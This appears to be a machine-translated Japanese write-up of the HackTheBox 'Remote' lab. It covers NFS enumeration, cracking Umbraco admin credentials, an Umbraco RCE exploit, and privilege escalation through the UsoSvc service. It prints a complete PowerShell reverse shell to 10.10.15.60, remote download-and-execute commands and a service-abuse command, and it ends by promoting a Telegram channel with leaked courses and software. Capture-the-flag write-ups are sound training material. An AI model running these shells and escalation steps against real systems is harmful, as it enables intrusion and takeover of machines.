私はHackTheBoxサイトからマシンのファイナライズに送信されたソリューションを公開し続けています。
この記事では、NFSリソースを掘り下げ、CMS UmbracoのRCEエクスプロイトを処理し、PowerUpを使用してUsoSvc経由でLPEベクトルを見つけます。
ラボへの接続はVPN経由です。情報セキュリティについて何か知っている人とのプライベートネットワークにいることに気付くため、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします。
組織情報
偵察
このマシンのIPアドレスは10.10.10.180で、これを/ etc / hostsに追加します。
10.10.10.180 remote.htb
最初のステップは、開いているポートをスキャンすることです。nmapですべてのポートをスキャンするのに長い時間がかかるので、最初にmasscanを使用してスキャンします。tun0インターフェイスからすべてのTCPポートとUDPポートを毎秒500パケットでスキャンします。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500
ホスト上で多くのポートが開いています。それでは、nmapでそれらをスキャンして、必要なものをフィルタリングして選択しましょう。
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
ここで、ポートで実行されるサービスに関する詳細情報を取得するには、-Aオプションを指定してスキャンを実行します。
nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
ポート111はNFSを担当します(ネットワーク経由でリモートファイルシステムをマウントできるようにします)。リソースのリストを見てみましょう。
利用可能なリソースがあります。このリソースをマウントしましょう。
そして、このディレクトリには、Web.configとUmbracoフォルダがあります。Umbracoは、オープンソースのコンテンツ管理システムプラットフォームです。
したがって、すべての構成を確認し、Umbracoのバージョンを確認する必要があります。これは、Web.Configで確認できることです。
smtpとUmbracoバージョンの資格情報が見つかりました:7.12.4。資格情報が存在する場合、Korayaは脆弱です。
エントリーポイント
次に、関心のあるファイルを選択して表示するために、リモートサーバー上にあるすべてのファイルとディレクトリを一覧表示しました。
ls -lR ./
ファイルの範囲が制限されたら、それらを表示する必要があります(grepを表面的に使用して、user、login、pass、versなどの行を選択できます)。これは、2人のユーザーの存在に関する情報を見つける方法です。
その後、もう一度adminとssmithの行を探します。そして、ユーザーデータのハッシュを見つけます。
そして、管理者パスワードを正常にハッキングします。
explore-dbベースを見ると、既製のエクスプロイトがありますが、少し変更する必要があります。
ユーザー
まず、資格情報とホストを指定します。
次に、実行可能ファイルとそれにパラメーターを指定して、負荷を変更します。この場合、テストにはpingを使用します。
プログラムが実行されるとすぐに、tcpdumpにICMPパケットが表示されます。
次のリバースシェルをロードしましょう。
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
shell.ps1に保存して、ローカルマシンでhttpサーバーを起動します。
sudo python3 -m http.server
負荷を変えてみましょう。
そして実行後、バックコネクトを取得します。
サーバーにはユーザーディレクトリがないため、パブリックにフラグがあります。
ルート
ユーザーに関する情報を見ると、興味深い特権に気づきました。
ただし、これはWindows Server 2019であるため、LPEのトークンの偽装は機能しません。PowerUpを
使用してLPEベクトルを見つけましょう。localhostからダウンロードして、完全にチェックしてみましょう。
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks
また、Orchestratorサービスを更新する権限があります。Update Orchestratorは、Windowsの更新を整理するサービスです。このサービスは、コンピューターの更新のダウンロード、インストール、およびチェックを担当します。
2番目のシェルを作成し(最初のポートを変更)、それをマシンにロードしましょう。
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1
それでは、UsoSvcで実行してみましょう。
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"
そして、バックコネクトを取得します。Telegramに
参加できます。そこには、興味深い資料、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々が集まるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。